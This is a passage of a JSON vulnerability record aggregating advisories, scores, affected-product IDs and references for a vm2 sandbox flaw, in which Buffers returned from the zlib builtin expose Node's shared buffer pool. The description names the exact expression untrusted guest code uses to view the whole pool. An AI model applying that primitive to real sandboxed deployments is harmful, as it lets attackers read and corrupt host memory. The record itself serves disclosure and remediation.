advisory](https://github.com/patriksimek/vm2/security/advisories/GHSA-fcqc-726x-5wfc) documents shared small-buffer-pool exposure through sandbox-facing `Buffer` factories. The checked public fix is commit [`4f2508abeb252aa86eb6761c78b3b000248fb089`](https://github.com/patriksimek/vm2/commit/4f2508abeb252aa86eb6761c78b3b000248fb089), titled `fix(GHSA-fcqc-726x-5wfc): isolate sandbox buffers from Node's shared pool`; its change applies the backing-store ownership rule to those factories, not to the `zlib` host-builtin return path demonstrated here.\n\nThe exact `GHSA-fcqc-726x-5wfc` commit search also returned [`5214b02ef13b82497fcb917b45320dfd014ffd09`](https://github.com/patriksimek/vm2/commit/5214b02ef13b82497fcb917b45320dfd014ffd09), whose release message is only an automated advisory inventory and is not an independent report of this issue. The current repository search for [`zlib Buffer pool` issues](https://github.com/patriksimek/vm2/issues?q=zlib+Buffer+pool) returned no independent match, and the corresponding [`zlib Buffer pool` pull-request search](https://github.com/patriksimek/vm2/pulls?q=zlib+Buffer+pool) also returned no independent match.\n\nPrior submitted, ready-for-review, and completed-but-unsubmitted reports were checked; none covers this zlib host-builtin backing-store path. Its distinct fix surface is the zlib host-builtin return path and the missing backing-store ownership step, separate from sandbox-facing Buffer factories.\n\nThis finding is therefore distinct in fix surface: `zlib` is the producer, the generic host-builtin return path is the sink, and backing-store ownership is the missing correction. That surface is separate from Buffer-factory hardening, custom resolution, Promise/`Reflect.apply` handling, and process-global FIPS state.", "title": "github - https://github.com/advisories/GHSA-489w-w794-jq94" }, { "category": "description", "text": "vm2 before 3.12.2 does not apply its Buffer backing-store ownership invariant (byteOffset === 0 and buffer.byteLength === length) to Buffers returned from host builtin modules. When an application explicitly exposes Node's zlib module through NodeVM's builtin allowlist (require: { builtin: ['zlib'] }), zlib.deflateSync can return a Buffer backed by Node's shared small-buffer pool whose .buffer is the entire pool. Untrusted guest code can construct a full-width view of that ArrayBuffer (Buffer.from(result.buffer, 0, result.buffer.byteLength)) to read and modify bytes belonging to unrelated host buffers, disclosing and corrupting host-realm memory across the sandbox boundary.", "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-100723" }, { "category": "other", "text": "0.00316", "title": "EPSS" }, { "category": "other", "text": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "title": "CVSSV4" }, { "category": "other", "text": "6.9", "title": "CVSSV4 base score" }, { "category": "other", "text": "4.7", "title": "NCSC Score" }, { "category": "other", "text": "There is product data available from source Certbundde", "title": "NCSC Score top increasing factors" }, { "category": "other", "text": "There is cwe data available from source Nvd, Is related to a product by vendor Open Source, The value of the most recent CVSS (V3) score", "title": "NCSC Score top decreasing factors" }, { "category": "details", "text": "Severity: 3\n", "title": "Vendor assessment" } ], "product_status": { "known_affected": [ "CSAFPID-9477908", "CSAFPID-9478886", "CSAFPID-9337227", "CSAFPID-3466137", "CSAFPID-3466138", "CSAFPID-3466139", "CSAFPID-3466140", "CSAFPID-3466141", "CSAFPID-3466142", "CSAFPID-3466143", "CSAFPID-4139275", "CSAFPID-4139276", "CSAFPID-4139277", "CSAFPID-3466144", "CSAFPID-3466145", "CSAFPID-3466146", "CSAFPID-3466147", "CSAFPID-3466148", "CSAFPID-3466149", "CSAFPID-3466150", "CSAFPID-5467538", "CSAFPID-5467539", "CSAFPID-8609298", "CSAFPID-8609297", "CSAFPID-8609296", "CSAFPID-8609295", "CSAFPID-8707556", "CSAFPID-8707555", "CSAFPID-8707554", "CSAFPID-8707553", "CSAFPID-9007705", "CSAFPID-9007704", "CSAFPID-3466151", "CSAFPID-3466152", "CSAFPID-3466153", "CSAFPID-9656527" ], "known_not_affected": [ "CSAFPID-9478885", "CSAFPID-1508265", "CSAFPID-1508266", "CSAFPID-5486263", "CSAFPID-8334394" ] }, "references": [ { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-100723.json?alt=media" }, { "category": "external", "summary": "Source - nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100723" }, { "category": "external", "summary": "Source - ncscclear", "url": "https://vulnerabilities.ncsc.nl/manual/CVE-2026-100723" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss" }, { "category": "external", "summary": "Source - certbundde", "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-3594.json" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://www.cve.org/CVERecord?id=CVE-2026-100723" }, { "category": "external", "summary": "Source - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-100723" }, { "category": "external", "summary": "Source - github", "url": "https://github.com/advisories/GHSA-489w-w794-jq94" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-489w-w794-jq94.json?alt=media" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv; redhat", "url": "https://github.com/patriksimek/vm2/commit/4f2508abeb252aa86eb6761c78b3b000248fb089" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv; redhat", "url": "https://github.com/patriksimek/vm2/commit/5214b02ef13b82497fcb917b45320dfd014ffd09" }, { "category": "external", "summary": "Reference - certbundde; cveprojectv5; github; nvd; osv; redhat", "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-489w-w794-jq94" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv; redhat", "url": "https://www.vulncheck.com/advisories/vm2-before-3.12.2-memory-disclosure-via-zlib-buffer-pool" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-3594.json" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-3594" }, { "category": "external", "summary": "Reference - certbundde; github; osv", "url": "https://github.com/patriksimek/vm2/releases/tag/v3.12.2" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-2v2p-6j97-cjg9" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-5h3f-q97h-ccvc" }, { "category": "external", "summary": "Reference - redhat", "url": "https://www.cve.org/CVERecord?id=CVE-2026-100723" }, { "category": "external", "summary": "Reference - osv; redhat", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100723" }, { "category": "external", "summary": "Reference - github; osv", "url": "https://github.com/patriksimek/vm2/commit/9596bf5e7d8de7351d675ff4f5293b72157202d4" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-489w-w794-jq94" }, { "category": "external", "summary": "Reference - osv", "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/100xxx/CVE-2026-100723.json" } ], "remediations": [ { "category": "mitigation", "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.", "product_ids": [ "CSAFPID-1508265", "CSAFPID-1508266", "CSAFPID-5486263", "CSAFPID-8334394" ] } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N", "baseScore": 10.0, "baseSeverity": "CRITICAL" }, "products": [ "CSAFPID-3466137", "CSAFPID-3466138", "CSAFPID-3466139", "CSAFPID-3466140", "CSAFPID-3466141", "CSAFPID-3466142", "CSAFPID-3466143", "CSAFPID-3466144", "CSAFPID-3466145", "CSAFPID-3466146", "CSAFPID-3466147", "CSAFPID-3466148", "CSAFPID-3466149", "CSAFPID-3466150", "CSAFPID-3466151", "CSAFPID-3466152", "CSAFPID-3466153", "CSAFPID-4139275", "CSAFPID-4139276", "CSAFPID-4139277", "CSAFPID-5467538", "CSAFPID-5467539", "CSAFPID-8609295", "CSAFPID-8609296", "CSAFPID-8609297", "CSAFPID-8609298", "CSAFPID-8707553", "CSAFPID-8707554", "CSAFPID-8707555", "CSAFPID-8707556", "CSAFPID-9007704", "CSAFPID-9007705", "CSAFPID-9337227", "CSAFPID-9477908", "CSAFPID-9478886", "CSAFPID-9656527" ] } ], "title": "CVE-2026-100723" } ] }